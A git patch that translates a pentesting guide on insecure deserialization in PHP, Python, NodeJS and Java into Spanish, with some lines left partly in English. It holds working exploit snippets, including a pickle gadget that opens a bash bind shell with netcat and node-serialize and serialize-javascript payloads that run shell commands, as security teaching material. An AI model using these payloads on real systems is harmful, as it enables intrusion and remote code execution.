From 3f6313135023cc3346299083b01ea4c1413ab33d Mon Sep 17 00:00:00 2001 From: Translator Date: Wed, 1 Oct 2025 01:16:29 +0000 Subject: [PATCH] Translated ['src/pentesting-web/deserialization/java-signedobject-gated- --- src/SUMMARY.md | 1 + src/pentesting-web/deserialization/README.md | 477 +++++++++--------- ...java-signedobject-gated-deserialization.md | 140 +++++ 3 files changed, 389 insertions(+), 229 deletions(-) create mode 100644 src/pentesting-web/deserialization/java-signedobject-gated-deserialization.md diff --git a/src/SUMMARY.md b/src/SUMMARY.md index f2a0c1124..27f33cff3 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -622,6 +622,7 @@ - [Java JSF ViewState (.faces) Deserialization](pentesting-web/deserialization/java-jsf-viewstate-.faces-deserialization.md) - [Java DNS Deserialization, GadgetProbe and Java Deserialization Scanner](pentesting-web/deserialization/java-dns-deserialization-and-gadgetprobe.md) - [Basic Java Deserialization (ObjectInputStream, readObject)](pentesting-web/deserialization/basic-java-deserialization-objectinputstream-readobject.md) + - [Java Signedobject Gated Deserialization](pentesting-web/deserialization/java-signedobject-gated-deserialization.md) - [PHP - Deserialization + Autoload Classes](pentesting-web/deserialization/php-deserialization-+-autoload-classes.md) - [CommonsCollection1 Payload - Java Transformers to Rutime exec() and Thread Sleep](pentesting-web/deserialization/java-transformers-to-rutime-exec-payload.md) - [Basic .Net deserialization (ObjectDataProvider gadget, ExpandedWrapper, and Json.Net)](pentesting-web/deserialization/basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md) diff --git a/src/pentesting-web/deserialization/README.md b/src/pentesting-web/deserialization/README.md index d24851442..68ccccfa9 100644 --- a/src/pentesting-web/deserialization/README.md +++ b/src/pentesting-web/deserialization/README.md @@ -1,24 +1,24 @@ -# Deserialization +# Deserialización {{#include ../../banners/hacktricks-training.md}} -## Información Básica +## Información básica -**Serialization** se entiende como el método de convertir un objeto en un formato que puede ser preservado, con la intención de almacenar el objeto o transmitirlo como parte de un proceso de comunicación. Esta técnica se emplea comúnmente para asegurar que el objeto pueda ser recreado en un momento posterior, manteniendo su estructura y estado. +**Serialización** se entiende como el método de convertir un objeto en un formato que puede ser preservado, con la intención de almacenar el objeto o transmitirlo como parte de un proceso de comunicación. Esta técnica se emplea comúnmente para asegurar que el objeto pueda ser recreado más tarde, manteniendo su estructura y estado. -**Deserialization**, por el contrario, es el proceso que contrarresta la serialización. Implica tomar datos que han sido estructurados en un formato específico y reconstruirlos de nuevo en un objeto. +**Deserialización**, por el contrario, es el proceso que contrarresta la serialización. Consiste en tomar datos que han sido estructurados en un formato específico y reconstruirlos de nuevo en un objeto. -La deserialización puede ser peligrosa porque **permite a los atacantes manipular los datos serializados para ejecutar código dañino** o causar un comportamiento inesperado en la aplicación durante el proceso de reconstrucción del objeto. +La deserialización puede ser peligrosa porque potencialmente **permite a los atacantes manipular los datos serializados para ejecutar código malicioso** o provocar comportamientos inesperados en la aplicación durante el proceso de reconstrucción del objeto. ## PHP En PHP, se utilizan métodos mágicos específicos durante los procesos de serialización y deserialización: -- `__sleep`: Invocado cuando un objeto está siendo serializado. Este método debe devolver un array con los nombres de todas las propiedades del objeto que deben ser serializadas. Se utiliza comúnmente para comprometer datos pendientes o realizar tareas de limpieza similares. -- `__wakeup`: Llamado cuando un objeto está siendo deserializado. Se utiliza para restablecer cualquier conexión a la base de datos que pueda haberse perdido durante la serialización y realizar otras tareas de reinicialización. -- `__unserialize`: Este método se llama en lugar de `__wakeup` (si existe) cuando un objeto está siendo deserializado. Ofrece más control sobre el proceso de deserialización en comparación con `__wakeup`. -- `__destruct`: Este método se llama cuando un objeto está a punto de ser destruido o cuando el script termina. Se utiliza típicamente para tareas de limpieza, como cerrar manejadores de archivos o conexiones a bases de datos. -- `__toString`: Este método permite que un objeto sea tratado como una cadena. Puede ser utilizado para leer un archivo u otras tareas basadas en las llamadas a funciones dentro de él, proporcionando efectivamente una representación textual del objeto. +- `__sleep`: Invocado cuando un objeto está siendo serializado. Este método debe devolver un array con los nombres de todas las propiedades del objeto que deben ser serializadas. Se usa comúnmente para confirmar datos pendientes o realizar tareas de limpieza similares. +- `__wakeup`: Llamado cuando un objeto está siendo deserializado. Se utiliza para restablecer las conexiones a la base de datos que puedan haberse perdido durante la serialización y para realizar otras tareas de re-inicialización. +- `__unserialize`: Este método se llama en lugar de `__wakeup` (si existe) cuando un objeto está siendo deserializado. Ofrece mayor control sobre el proceso de deserialización en comparación con `__wakeup`. +- `__destruct`: Este método se llama cuando un objeto está a punto de ser destruido o cuando termina el script. Normalmente se utiliza para tareas de limpieza, como cerrar manejadores de archivos o conexiones a la base de datos. +- `__toString`: Este método permite que un objeto sea tratado como una cadena. Puede usarse para leer un archivo u otras tareas basadas en las llamadas a funciones dentro de él, proporcionando efectivamente una representación textual del objeto. ```php */ ?> ``` -Si miras los resultados, puedes ver que las funciones **`__wakeup`** y **`__destruct`** se llaman cuando el objeto es deserializado. Ten en cuenta que en varios tutoriales encontrarás que la función **`__toString`** se llama al intentar imprimir algún atributo, pero aparentemente eso **ya no está sucediendo**. +Si miras los resultados puedes ver que las funciones **`__wakeup`** y **`__destruct`** se llaman cuando el objeto es deserializado. Observa que en varios tutoriales encontrarás que la función **`__toString`** se llama al intentar imprimir algún atributo, pero aparentemente eso **ya no ocurre**. > [!WARNING] -> El método **`__unserialize(array $data)`** se llama **en lugar de `__wakeup()`** si está implementado en la clase. Te permite deserializar el objeto proporcionando los datos serializados como un array. Puedes usar este método para deserializar propiedades y realizar cualquier tarea necesaria al deserializar. +> El método **`__unserialize(array $data)`** se llama **en lugar de `__wakeup()`** si está implementado en la clase. Permite unserializar el objeto proporcionando los datos serializados como un array. Puedes usar este método para unserializar propiedades y realizar las tareas necesarias al deserializar. > > ```php > class MyClass { @@ -85,24 +85,25 @@ Si miras los resultados, puedes ver que las funciones **`__wakeup`** y **`__dest > > public function __unserialize(array $data): void { > $this->property = $data['property']; -> // Realiza cualquier tarea necesaria al deserializar. +> // Perform any necessary tasks upon deserialization. > } > } > ``` -Puedes leer un **ejemplo de PHP explicado aquí**: [https://www.notsosecure.com/remote-code-execution-via-php-unserialize/](https://www.notsosecure.com/remote-code-execution-via-php-unserialize/), aquí [https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf](https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf) o aquí [https://securitycafe.ro/2015/01/05/understanding-php-object-injection/](https://securitycafe.ro/2015/01/05/understanding-php-object-injection/) +You can read an explained **PHP example here**: [https://www.notsosecure.com/remote-code-execution-via-php-unserialize/](https://www.notsosecure.com/remote-code-execution-via-php-unserialize/), here [https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf](https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf) or here [https://securitycafe.ro/2015/01/05/understanding-php-object-injection/](https://securitycafe.ro/2015/01/05/understanding-php-object-injection/) -### PHP Deserial + Autoload Classes +### PHP Deserialización + Autoload Classes + +You could abuse the PHP autoload functionality to load arbitrary php files and more: -Podrías abusar de la funcionalidad de autoload de PHP para cargar archivos php arbitrarios y más: {{#ref}} php-deserialization-+-autoload-classes.md {{#endref}} -### Serializando Valores Referenciados +### Serializing Referenced Values -Si por alguna razón deseas serializar un valor como una **referencia a otro valor serializado**, puedes: +Si por alguna razón quieres serializar un valor como una **referencia a otro valor serializado** puedes: ```php param1 =& $o->param22; $o->param = "PARAM"; $ser=serialize($o); ``` -### Prevención de la Inyección de Objetos PHP con `allowed_classes` +### Previniendo PHP Object Injection con `allowed_classes` > [!INFO] -> El soporte para el **segundo argumento** de `unserialize()` (el array `$options`) se agregó en **PHP 7.0**. En versiones anteriores, la función solo acepta la cadena serializada, lo que hace imposible restringir qué clases pueden ser instanciadas. +> El soporte para el **segundo argumento** de `unserialize()` (el array `$options`) se añadió en **PHP 7.0**. En versiones antiguas la función solo acepta la cadena serializada, lo que hace imposible restringir qué clases pueden ser instanciadas. -`unserialize()` **instanciará cada clase** que encuentre dentro del flujo serializado a menos que se indique lo contrario. Desde PHP 7, el comportamiento se puede restringir con la opción [`allowed_classes`](https://www.php.net/manual/en/function.unserialize.php): +`unserialize()` instanciará **todas las clases** que encuentre dentro de la cadena serializada a menos que se indique lo contrario. Desde PHP 7 el comportamiento puede restringirse con la opción [`allowed_classes`](https://www.php.net/manual/en/function.unserialize.php): ```php // NEVER DO THIS – full object instantiation $object = unserialize($userControlledData); @@ -135,11 +136,11 @@ $object = unserialize($userControlledData, [ 'allowed_classes' => [MyModel::class, DateTime::class] ]); ``` -Si **`allowed_classes` se omite _o_ el código se ejecuta en PHP < 7.0**, la llamada se vuelve **peligrosa** ya que un atacante puede crear una carga útil que abuse de métodos mágicos como `__wakeup()` o `__destruct()` para lograr la Ejecución Remota de Código (RCE). +Si **`allowed_classes` se omite _o_ el código se ejecuta en PHP < 7.0**, la llamada se vuelve **peligrosa** ya que un atacante puede crear un payload que abuse de métodos mágicos como `__wakeup()` o `__destruct()` para lograr Remote Code Execution (RCE). -#### Ejemplo del mundo real: Everest Forms (WordPress) CVE-2025-52709 +#### Ejemplo real: Everest Forms (WordPress) CVE-2025-52709 -El plugin de WordPress **Everest Forms ≤ 3.2.2** intentó ser defensivo con un envoltorio auxiliar pero se olvidó de las versiones antiguas de PHP: +El plugin de WordPress **Everest Forms ≤ 3.2.2** intentó ser defensivo con un helper wrapper pero olvidó las versiones antiguas de PHP: ```php function evf_maybe_unserialize($data, $options = array()) { if (is_serialized($data)) { @@ -154,29 +155,29 @@ return @unserialize(trim($data)); return $data; } ``` -En servidores que aún ejecutaban **PHP ≤ 7.0**, esta segunda rama llevó a una clásica **PHP Object Injection** cuando un administrador abría un envío de formulario malicioso. Una carga útil de explotación mínima podría verse así: +En servidores que aún ejecutaban **PHP ≤ 7.0**, esta segunda rama conducía a una clásica **PHP Object Injection** cuando un administrador abría un envío de formulario malicioso. Un exploit payload mínimo podría verse así: ``` O:8:"SomeClass":1:{s:8:"property";s:28:"";} ``` -Tan pronto como el administrador vio la entrada, el objeto fue instanciado y `SomeClass::__destruct()` se ejecutó, lo que resultó en la ejecución de código arbitrario. +Tan pronto como el admin visualizó la entrada, el objeto fue instanciado y `SomeClass::__destruct()` se ejecutó, resultando en ejecución de código arbitrario. -**Conclusiones** +**Puntos clave** 1. Siempre pasa `['allowed_classes' => false]` (o una lista blanca estricta) al llamar a `unserialize()`. -2. Audita los envoltorios defensivos: a menudo se olvidan de las ramas de PHP heredadas. -3. Actualizar a **PHP ≥ 7.x** por sí solo *no* es suficiente: la opción aún necesita ser proporcionada explícitamente. +2. Audita los wrappers defensivos – a menudo olvidan las ramas antiguas de PHP. +3. Actualizar a **PHP ≥ 7.x** por sí solo *no* es suficiente: la opción todavía debe ser suministrada explícitamente. --- -### PHPGGC (ysoserial para PHP) +### PHPGGC (ysoserial for PHP) -[**PHPGGC**](https://github.com/ambionics/phpggc) puede ayudarte a generar cargas útiles para abusar de las deserializaciones de PHP.\ -Ten en cuenta que en varios casos **no podrás encontrar una manera de abusar de una deserialización en el código fuente** de la aplicación, pero podrías **abusar del código de extensiones PHP externas.**\ -Así que, si puedes, revisa el `phpinfo()` del servidor y **busca en internet** (incluso en los **gadgets** de **PHPGGC**) algunos posibles gadgets que podrías abusar. +[**PHPGGC**](https://github.com/ambionics/phpggc) puede ayudarte a generar payloads para abusar de PHP deserializations.\ +Ten en cuenta que en varios casos **no podrás encontrar una forma de abusar de una deserialization en el código fuente** de la aplicación, pero podrías ser capaz de **abusar del código de extensiones PHP externas.**\ +Así que, si puedes, revisa el `phpinfo()` del servidor y **busca en internet** (e incluso en los **gadgets** de **PHPGGC**) algún gadget posible que puedas abusar. -### deserialización de metadatos phar:// +### phar:// metadata deserialization -Si has encontrado un LFI que solo está leyendo el archivo y no ejecutando el código php dentro de él, por ejemplo, usando funciones como _**file_get_contents(), fopen(), file() o file_exists(), md5_file(), filemtime() o filesize()**_**.** Puedes intentar abusar de una **deserialización** que ocurre al **leer** un **archivo** usando el protocolo **phar**.\ -Para más información, lee la siguiente publicación: +Si has encontrado un LFI que solo está leyendo el archivo y no ejecutando el php dentro de él, por ejemplo usando funciones como _**file_get_contents(), fopen(), file() or file_exists(), md5_file(), filemtime() or filesize()**_**.** Puedes intentar abusar de una **deserialization** que ocurre al **leer** un **archivo** usando el protocolo **phar**.\ +Para más información lee el siguiente post: {{#ref}} @@ -187,8 +188,8 @@ Para más información, lee la siguiente publicación: ### **Pickle** -Cuando el objeto se deserializa, la función \_\_\_reduce\_\_\_ se ejecutará.\ -Cuando se explota, el servidor podría devolver un error. +Cuando el objeto es unpickled, la función \_\_\_reduce\_\_\_ se ejecutará.\ +Cuando se explote, el servidor podría devolver un error. ```python import pickle, os, base64 class P(object): @@ -196,23 +197,26 @@ def __reduce__(self): return (os.system,("netcat -c '/bin/bash -i' -l -p 1234 ",)) print(base64.b64encode(pickle.dumps(P()))) ``` -Antes de verificar la técnica de bypass, intenta usar `print(base64.b64encode(pickle.dumps(P(),2)))` para generar un objeto que sea compatible con python2 si estás ejecutando python3. +Antes de comprobar la bypass technique, prueba a usar `print(base64.b64encode(pickle.dumps(P(),2)))` para generar un objeto compatible con python2 si estás ejecutando python3. Para más información sobre cómo escapar de **pickle jails** consulta: + {{#ref}} ../../generic-methodologies-and-resources/python/bypass-python-sandboxes/ {{#endref}} ### Yaml **&** jsonpickle -La siguiente página presenta la técnica para **abusar de una deserialización insegura en bibliotecas de python de yamls** y termina con una herramienta que se puede usar para generar cargas útiles de deserialización RCE para **Pickle, PyYAML, jsonpickle y ruamel.yaml**: +La página siguiente presenta la técnica para **abusar de una deserialización insegura en las librerías yaml de python** y termina con una herramienta que puede usarse para generar payloads de deserialización RCE para **Pickle, PyYAML, jsonpickle and ruamel.yaml**: + {{#ref}} python-yaml-deserialization.md {{#endref}} -### Contaminación de Clases (Contaminación de Prototipos de Python) +### Class Pollution (Python Prototype Pollution) + {{#ref}} ../../generic-methodologies-and-resources/python/class-pollution-pythons-prototype-pollution.md @@ -220,12 +224,11 @@ python-yaml-deserialization.md ## NodeJS -### Funciones Mágicas de JS +### JS Magic Functions -JS **no tiene funciones "mágicas"** como PHP o Python que se ejecutan solo por crear un objeto. Pero tiene algunas **funciones** que son **frecuentemente utilizadas incluso sin ser llamadas directamente** como **`toString`**, **`valueOf`**, **`toJSON`**.\ -Si abusas de una deserialización, puedes **comprometer estas funciones para ejecutar otro código** (potencialmente abusando de contaminaciones de prototipos) podrías ejecutar código arbitrario cuando se llamen. +JS **no tiene funciones "mágicas"** como PHP o Python que se ejecuten solo por crear un objeto. Pero tiene algunas **funciones** que se **usan frecuentemente incluso sin llamarlas directamente**, como **`toString`**, **`valueOf`**, **`toJSON`**. Si se abusa de una deserialización, puedes **comprometer estas funciones para ejecutar otro código** (potencialmente abusando de prototype pollutions) y podrías ejecutar código arbitrario cuando se les llame. -Otra **manera "mágica" de llamar a una función** sin llamarla directamente es **comprometiendo un objeto que es devuelto por una función asíncrona** (promesa). Porque, si **transformas** ese **objeto de retorno** en otra **promesa** con una **propiedad** llamada **"then" de tipo función**, será **ejecutado** solo porque es devuelto por otra promesa. _Sigue_ [_**este enlace**_](https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/) _para más información._ +Otra **"magic" way to call a function** sin llamarla directamente es **comprometiendo un objeto que es devuelto por una función async** (promise). Porque, si **transformas** ese **objeto de retorno** en otra **promise** con una **propiedad** llamada **"then" of type function**, se **ejecutará** simplemente porque es devuelto por otra promise. _Follow_ [_**this link**_](https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/) _for more info._ ```javascript // If you can compromise p (returned object) to be a promise // it will be executed just because it's the return object of an async function: @@ -249,7 +252,7 @@ test_ressolve() test_then() //For more info: https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/ ``` -### `__proto__` y contaminación de `prototype` +### `__proto__` and `prototype` pollution Si quieres aprender sobre esta técnica **echa un vistazo al siguiente tutorial**: @@ -260,7 +263,7 @@ nodejs-proto-prototype-pollution/ ### [node-serialize](https://www.npmjs.com/package/node-serialize) -Esta biblioteca permite serializar funciones. Ejemplo: +Esta librería permite serializar funciones. Ejemplo: ```javascript var y = { rce: function () { @@ -277,19 +280,19 @@ El **objeto serializado** se verá así: ```bash {"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })}"} ``` -Puedes ver en el ejemplo que cuando una función es serializada, el flag `_$$ND_FUNC$$_` se añade al objeto serializado. +Puedes ver en el ejemplo que cuando una función se serializa la bandera `_$$ND_FUNC$$_` se añade al objeto serializado. -Dentro del archivo `node-serialize/lib/serialize.js` puedes encontrar el mismo flag y cómo el código lo está utilizando. +Inside the file `node-serialize/lib/serialize.js` you can find the same flag and how the code is using it. ![](<../../images/image (351).png>) ![](<../../images/image (446).png>) -Como puedes ver en el último fragmento de código, **si se encuentra el flag**, se utiliza `eval` para deserializar la función, así que básicamente **la entrada del usuario se está utilizando dentro de la función `eval`**. +Como puedes ver en el último fragmento de código, **si se encuentra la bandera** se usa `eval` para deserializar la función, por lo que básicamente **user input está siendo usado dentro de la función `eval`**. -Sin embargo, **simplemente serializar** una función **no la ejecutará**, ya que sería necesario que alguna parte del código **llame a `y.rce`** en nuestro ejemplo y eso es altamente **improbable**.\ -De todos modos, podrías **modificar el objeto serializado** **agregando algunos paréntesis** para que la función serializada se ejecute automáticamente cuando el objeto sea deserializado.\ -En el siguiente fragmento de código **nota el último paréntesis** y cómo la función `unserialize` ejecutará automáticamente el código: +Sin embargo, **solo serializar** una función **no la ejecutará** ya que sería necesario que alguna parte del código **llamara a `y.rce`** en nuestro ejemplo y eso es muy **poco probable**.\ +De todas formas, podrías simplemente **modificar el objeto serializado** **añadiendo algunos paréntesis** para que la función serializada se ejecute automáticamente cuando el objeto sea deserializado.\ +En el siguiente fragmento de código **fíjate en el último paréntesis** y en cómo la función `unserialize` ejecutará automáticamente el código: ```javascript var serialize = require("node-serialize") var test = { @@ -297,20 +300,20 @@ rce: "_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(er } serialize.unserialize(test) ``` -Como se indicó anteriormente, esta biblioteca obtendrá el código después de `_$$ND_FUNC$$_` y **lo ejecutará** usando `eval`. Por lo tanto, para **auto-ejecutar código** puedes **eliminar la parte de creación de la función** y el último paréntesis y **simplemente ejecutar un oneliner de JS** como en el siguiente ejemplo: +Como se indicó anteriormente, esta librería obtendrá el código después de `_$$ND_FUNC$$_` y lo **ejecutará** usando `eval`. Por lo tanto, para **auto-ejecutar código** puedes **eliminar la parte de creación de la función** y el último paréntesis y **simplemente ejecutar un JS oneliner** como en el siguiente ejemplo: ```javascript var serialize = require("node-serialize") var test = "{\"rce\":\"_$$ND_FUNC$$_require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })\"}" serialize.unserialize(test) ``` -Puedes [**encontrar aquí**](https://opsecx.com/index.php/2017/02/08/exploiting-node-js-deserialization-bug-for-remote-code-execution/) **más información** sobre cómo explotar esta vulnerabilidad. +Puedes [**find here**](https://opsecx.com/index.php/2017/02/08/exploiting-node-js-deserialization-bug-for-remote-code-execution/) **más información** sobre cómo explotar esta vulnerabilidad. ### [funcster](https://www.npmjs.com/package/funcster) -Un aspecto notable de **funcster** es la inaccesibilidad de **objetos incorporados estándar**; quedan fuera del alcance accesible. Esta restricción impide la ejecución de código que intente invocar métodos en objetos incorporados, lo que lleva a excepciones como `"ReferenceError: console is not defined"` cuando se utilizan comandos como `console.log()` o `require(something)`. +Un aspecto notable de **funcster** es la inaccesibilidad de los **objetos integrados estándar**; estos quedan fuera del ámbito accesible. Esta restricción impide la ejecución de código que intente invocar métodos en objetos integrados, provocando excepciones como `"ReferenceError: console is not defined"` cuando se usan comandos como `console.log()` o `require(something)`. -A pesar de esta limitación, es posible restaurar el acceso completo al contexto global, incluidos todos los objetos incorporados estándar, a través de un enfoque específico. Al aprovechar el contexto global directamente, se puede eludir esta restricción. Por ejemplo, el acceso se puede restablecer utilizando el siguiente fragmento: +A pesar de esta limitación, es posible restaurar el acceso completo al contexto global, incluidos todos los objetos integrados estándar, mediante un enfoque específico. Aprovechando directamente el contexto global, se puede eludir esta restricción. Por ejemplo, el acceso puede restablecerse usando el siguiente fragmento: ```javascript funcster = require("funcster") //Serialization @@ -332,17 +335,17 @@ __js_function: } funcster.deepDeserialize(desertest3) ``` -**Para**[ **más información, lee esta fuente**](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/)**.** +**Para**[ **more information read this source**](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/)**.** ### [**serialize-javascript**](https://www.npmjs.com/package/serialize-javascript) -El paquete **serialize-javascript** está diseñado exclusivamente para propósitos de serialización, careciendo de cualquier capacidad de deserialización incorporada. Los usuarios son responsables de implementar su propio método para la deserialización. Se sugiere un uso directo de `eval` en el ejemplo oficial para deserializar datos serializados: +El paquete **serialize-javascript** está diseñado exclusivamente para propósitos de serialización, sin capacidades de deserialización integradas. Los usuarios son responsables de implementar su propio método de deserialización. El uso directo de `eval` es sugerido por el ejemplo oficial para deserializar datos serializados: ```javascript function deserialize(serializedJavascript) { return eval("(" + serializedJavascript + ")") } ``` -Si esta función se utiliza para deserializar objetos, puedes **explotarlo fácilmente**: +Si esta función se usa para deserialize objects, puedes **explotarla fácilmente**: ```javascript var serialize = require("serialize-javascript") //Serialization @@ -356,90 +359,100 @@ var test = "function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()" deserialize(test) ``` -**Para**[ **más información, lea esta fuente**](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/)**.** +**Para**[ **more information read this source**](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/)**.** -### Biblioteca Cryo +### Cryo library -En las siguientes páginas puedes encontrar información sobre cómo abusar de esta biblioteca para ejecutar comandos arbitrarios: +En las siguientes páginas puedes encontrar información sobre cómo abusar de esta library para ejecutar comandos arbitrarios: - [https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/) - [https://hackerone.com/reports/350418](https://hackerone.com/reports/350418) ## Java - HTTP -En Java, **los callbacks de deserialización se ejecutan durante el proceso de deserialización**. Esta ejecución puede ser explotada por atacantes que crean cargas útiles maliciosas que activan estos callbacks, lo que lleva a la posible ejecución de acciones dañinas. +En Java, **los callbacks de deserialización se ejecutan durante el proceso de deserialización**. Esta ejecución puede ser explotada por atacantes que construyan payloads maliciosos que disparen estos callbacks, conduciendo a la posible ejecución de acciones dañinas. -### Huellas digitales +### Fingerprints -#### Caja blanca +#### White Box -Para identificar posibles vulnerabilidades de serialización en la base de código, busca: +Para identificar posibles vulnerabilidades de serialización en la base de código busca: - Clases que implementen la interfaz `Serializable`. -- Uso de las funciones `java.io.ObjectInputStream`, `readObject`, `readUnshare`. +- Uso de `java.io.ObjectInputStream`, funciones `readObject`, `readUnshare`. Presta especial atención a: - `XMLDecoder` utilizado con parámetros definidos por usuarios externos. - El método `fromXML` de `XStream`, especialmente si la versión de XStream es menor o igual a 1.46, ya que es susceptible a problemas de serialización. -- `ObjectInputStream` acoplado con el método `readObject`. +- `ObjectInputStream` junto con el método `readObject`. - Implementación de métodos como `readObject`, `readObjectNodData`, `readResolve` o `readExternal`. - `ObjectInputStream.readUnshared`. - Uso general de `Serializable`. -#### Caja negra +#### Black Box -Para pruebas de caja negra, busca **firmas específicas o "Bytes Mágicos"** que denoten objetos serializados de Java (originados de `ObjectInputStream`): +Para testing Black Box, busca **firmas o "Magic Bytes"** específicos que denoten objetos serializados de java (originados por `ObjectInputStream`): - Patrón hexadecimal: `AC ED 00 05`. - Patrón Base64: `rO0`. - Encabezados de respuesta HTTP con `Content-type` establecido en `application/x-java-serialized-object`. - Patrón hexadecimal que indica compresión previa: `1F 8B 08 00`. - Patrón Base64 que indica compresión previa: `H4sIA`. -- Archivos web con la extensión `.faces` y el parámetro `faces.ViewState`. Descubrir estos patrones en una aplicación web debería provocar un examen como se detalla en el [post sobre la deserialización de Java JSF ViewState](java-jsf-viewstate-.faces-deserialization.md). +- Archivos web con la extensión `.faces` y el parámetro `faces.ViewState`. Encontrar estos patrones en una aplicación web debería provocar un examen como el detallado en el [post about Java JSF ViewState Deserialization](java-jsf-viewstate-.faces-deserialization.md). ``` javax.faces.ViewState=rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAJwdAAML2xvZ2luLnhodG1s ``` -### Verificar si es vulnerable +### Comprobar si es vulnerable -Si quieres **aprender cómo funciona un exploit de deserialización en Java** deberías echar un vistazo a [**Deserialización Básica en Java**](basic-java-deserialization-objectinputstream-readobject.md), [**Deserialización DNS en Java**](java-dns-deserialization-and-gadgetprobe.md), y [**Carga Útil de CommonsCollection1**](java-transformers-to-rutime-exec-payload.md). +Si quieres **aprender cómo funciona un exploit de Java Deserialization** deberías echar un vistazo a [**Basic Java Deserialization**](basic-java-deserialization-objectinputstream-readobject.md), [**Java DNS Deserialization**](java-dns-deserialization-and-gadgetprobe.md), y [**CommonsCollection1 Payload**](java-transformers-to-rutime-exec-payload.md). -#### Prueba de Caja Blanca +#### SignedObject-gated deserialization and pre-auth reachability -Puedes verificar si hay alguna aplicación instalada con vulnerabilidades conocidas. +Las codebases modernas a veces envuelven la deserialización con `java.security.SignedObject` y validan una firma antes de invocar `getObject()` (que deserializa el objeto interno). Esto impide clases gadget arbitrarias a nivel superior, pero aún puede ser explotable si un atacante puede obtener una firma válida (p. ej., compromiso de la clave privada o un signing oracle). Además, los flujos de manejo de errores pueden acuñar tokens vinculados a la sesión para usuarios no autenticados, exponiendo sinks protegidos antes de la autenticación. + +Para un caso de estudio concreto con requests, IoCs y orientación de hardening, consulta: + +{{#ref}} +java-signedobject-gated-deserialization.md +{{#endref}} + +#### Prueba de caja blanca + +Puedes comprobar si hay instalada alguna aplicación con vulnerabilidades conocidas. ```bash find . -iname "*commons*collection*" grep -R InvokeTransformer . ``` -Podrías intentar **verificar todas las bibliotecas** conocidas por ser vulnerables y que [**Ysoserial**](https://github.com/frohoff/ysoserial) puede proporcionar un exploit. O podrías revisar las bibliotecas indicadas en [Java-Deserialization-Cheat-Sheet](https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet#genson-json).\ -También podrías usar [**gadgetinspector**](https://github.com/JackOfMostTrades/gadgetinspector) para buscar posibles cadenas de gadgets que puedan ser explotadas.\ -Al ejecutar **gadgetinspector** (después de construirlo) no te preocupes por las toneladas de advertencias/errores que está generando y déjalo terminar. Escribirá todos los hallazgos en _gadgetinspector/gadget-results/gadget-chains-year-month-day-hore-min.txt_. Por favor, ten en cuenta que **gadgetinspector no creará un exploit y puede indicar falsos positivos**. +Puedes intentar **comprobar todas las librerías** conocidas por ser vulnerables y para las que [**Ysoserial** ](https://github.com/frohoff/ysoserial) puede proporcionar un exploit. O puedes revisar las librerías indicadas en [Java-Deserialization-Cheat-Sheet](https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet#genson-json).\ +También puedes usar [**gadgetinspector**](https://github.com/JackOfMostTrades/gadgetinspector) para buscar posibles gadget chains que puedan explotarse.\ +Al ejecutar **gadgetinspector** (tras compilarlo) no te preocupes por la gran cantidad de advertencias/errores que muestra y déjalo terminar. Escribirá todos los hallazgos en _gadgetinspector/gadget-results/gadget-chains-year-month-day-hore-min.txt_. Ten en cuenta que **gadgetinspector no creará un exploit y puede indicar falsos positivos**. -#### Prueba de Caja Negra +#### Black Box Test -Usando la extensión de Burp [**gadgetprobe**](java-dns-deserialization-and-gadgetprobe.md) puedes identificar **qué bibliotecas están disponibles** (e incluso las versiones). Con esta información podría ser **más fácil elegir un payload** para explotar la vulnerabilidad.\ -[**Lee esto para aprender más sobre GadgetProbe**](java-dns-deserialization-and-gadgetprobe.md#gadgetprobe)**.**\ -GadgetProbe se centra en las deserializaciones de **`ObjectInputStream`**. +Usando la extensión de Burp [**gadgetprobe**](java-dns-deserialization-and-gadgetprobe.md) puedes identificar **qué librerías están disponibles** (e incluso las versiones). Con esta información podría ser **más fácil elegir un payload** para explotar la vulnerabilidad.\ +[**Read this to learn more about GadgetProbe**](java-dns-deserialization-and-gadgetprobe.md#gadgetprobe)**.**\ +GadgetProbe está enfocado en las deserializaciones de **`ObjectInputStream`**. -Usando la extensión de Burp [**Java Deserialization Scanner**](java-dns-deserialization-and-gadgetprobe.md#java-deserialization-scanner) puedes **identificar bibliotecas vulnerables** explotables con ysoserial y **explotarlas**.\ -[**Lee esto para aprender más sobre Java Deserialization Scanner.**](java-dns-deserialization-and-gadgetprobe.md#java-deserialization-scanner)\ -Java Deserialization Scanner se centra en las deserializaciones de **`ObjectInputStream`**. +Usando la extensión de Burp [**Java Deserialization Scanner**](java-dns-deserialization-and-gadgetprobe.md#java-deserialization-scanner) puedes **identificar librerías vulnerables** explotables con ysoserial y **explotarlas**.\ +[**Read this to learn more about Java Deserialization Scanner.**](java-dns-deserialization-and-gadgetprobe.md#java-deserialization-scanner)\ +Java Deserialization Scanner está enfocado en deserializaciones **`ObjectInputStream`**. -También puedes usar [**Freddy**](https://github.com/nccgroup/freddy) para **detectar vulnerabilidades de deserialización** en **Burp**. Este plugin detectará **no solo vulnerabilidades relacionadas con `ObjectInputStream`** sino **también** vulnerabilidades de bibliotecas de deserialización de **Json** y **Yml**. En modo activo, intentará confirmarlas usando payloads de 